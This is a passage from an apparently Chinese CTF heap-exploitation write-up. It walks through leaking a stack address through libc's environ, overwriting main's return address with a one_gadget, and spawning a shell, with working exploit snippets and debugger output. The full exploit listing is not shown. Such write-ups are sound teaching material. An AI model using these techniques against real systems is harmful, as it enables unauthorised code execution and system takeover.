再申请0xf0大小的chunk（实际大小为0x100），此时申请的chunk就在0x602070处，而该chunk的mem区域与chunk全局数组起始地址0x602140相差（0x602140-0x602070+0x10）=0xc0，用字符a填充，之后按照chunk size+头指针依次填充全局数组，将chunk_1改为environ地址，chunk2改为0x602148地址（也就是存放environ地址的地址）

1
2
3
4
5
6
7
8
9
10
11

add(0xf0,b'a'*0xc0+p64(0x100)+p64(environ)+p64(0x100)+p64(0x602148))
ru('INDEX: 1')
ru('CONTENT: ')
stack= u64(ru('\n')[:-1].ljust(8,b'\x00'))
target =  -0xF0 + stack 
lg('stack',stack)
lg('target',target)
#0x7fc7dd85ff38 <environ>:	0x00007ffc91b85d58	0x0000000000000000
#1e:00f0│       0x7ffc91b85c68 —▸ 0x7fc7dd4b9830 (__libc_start_main+240) ◂— mov    edi, eax
#  0x7ffc91b85c68-0x00007ffc91b85d58=-0xF0
dbg()

泄露出来的chunk_1的内容就是栈地址 stack=0x00007ffc91b85d58，在查看栈区main函数返回地址0x7ffc91b85c68，0x7ffc91b85c68-0x00007ffc91b85d58=-0xF0，所以我们要覆盖的main函数返回地址为target = -0xF0 + stack


刚才我们把chunk_2的mem指向了chunk_1的mem指针，编辑chunk_2为target地址，把chunk_1的mem指针改为target地址，这时再次编辑chunk_1为one_gadget地址，就把target地址存放的main函数返回地址改为了exeve(“/bin/sh\x00”)，再退出程序，获得shell

1
2
3
4
5
6

edit(2,p64(target))
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
shell = one_gadget[0] + libcbase
edit(1,p64(shell))
exit()
itr()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128